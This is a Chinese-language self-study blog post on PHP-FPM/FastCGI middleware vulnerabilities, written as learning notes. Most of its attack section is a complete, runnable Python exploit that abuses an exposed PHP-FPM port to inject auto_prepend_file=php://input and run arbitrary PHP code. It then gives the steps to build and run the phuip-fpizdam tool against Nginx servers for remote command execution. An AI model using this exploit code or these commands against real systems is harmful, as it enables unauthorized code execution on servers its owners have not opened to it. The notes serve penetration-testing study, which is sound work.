網絡安全自學篇-中間件漏洞（五）

一個網絡安全小白在學習過程中記錄下的筆記，希望在CSDN能和大家一起成長，學習，分享，進步，下面分享的是中間件漏洞系列，希望對入門網安的朋友們有所幫助，大神有興趣看看即可，勿噴感謝，同時也歡迎各位師傅私聊交流學習。文章有所參考，也感謝教授我網安知識的師父們，感謝出生在這個互聯網時代，知識觸手可及。
中間件漏洞系列目錄
網絡安全自學篇-中間件漏洞（一）
網絡安全自學篇-中間件漏洞（二）
網絡安全自學篇-中間件漏洞（三）
網絡安全自學篇-中間件漏洞（四）

FastCGI之未授權訪問

FastCGI是一個通信協議，可以用來進行數據交換，也即中間件和某個後端語言進行數據交換的協議。
PHP-FPM（FastCGI進程管理器）：解析FastCGI協議，即當中間件將用戶的請求按照FastCGI的規則打包好後傳送給FPM進行解析。
Vul:PHP-FPM默認監聽9000端口，如果該端口可訪問，則攻擊者可以構造FastCGI協議和FPM進行通信。
利用條件：
找到一個已存在的PHP文件
此處附上EXP：

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

auto_prepend_file = php://input，等於在執行任何php文件前都要包含一遍content的內容。所以，把待執行的代碼放在content中，並且開啓allow_url_include = On就能達到執行任意PHP代碼。
使用exp去訪問一個非php的文件會被拒絕

如果申請訪問一個存在的php文件則

讓其在執行PEAR.php文件之前包含某個文件達到命令執行的命令

FastCGI之任意命令執行

Vul:Nginx 上 fastcgi_split_path_info 在處理帶有 %0a 的請求時，會因爲遇到換行符 \n 導致 PATH_INFO 爲空。而 php-fpm 在處理 PATH_INFO 爲空的情況下，存在邏輯缺陷。攻擊者通過精心的構造和利用，可以導致遠程代碼執行。
Nginx + php-fpm 的服務器，在使用如下配置的情況下，都可能存在遠程代碼執行漏洞:

 location ~ [^/]\.php(/|$) {
        ···
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_param PATH_INFO       $fastcgi_path_info;
        fastcgi_pass   php:9000;
        ...
  }
}

sudo apt install golang-go

將export PATH=$PATH:/usr/local/go/bin添加至/etc/profile再執行source /etc/profile

EXP
go:git clone https://github.com/neex/phuip-fpizdam
命令:
go build
./phuip-fpizdam
go run . http://ip:8080/index.php
由於只有一部分進程能被污染因此需要多試幾次
最後訪問：
http://ip:8080/index.php?a=命令即可

網絡安全自學篇-中間件漏洞（五）

FastCGI之未授權訪問

FastCGI之任意命令執行

網絡安全自學篇-滲透測試（隨筆三）

網絡安全自學篇-中間件漏洞（六）

網絡安全自學篇-中間件漏洞（五）

網絡安全自學篇-中間件漏洞（四）

網絡安全自學篇-中間件漏洞（三）

Mac下配置sublime實現LaTeX

https://yachay.unat.edu.pe/blog/index.php?comment_area=format_blog&comment_component=blog&comment_co

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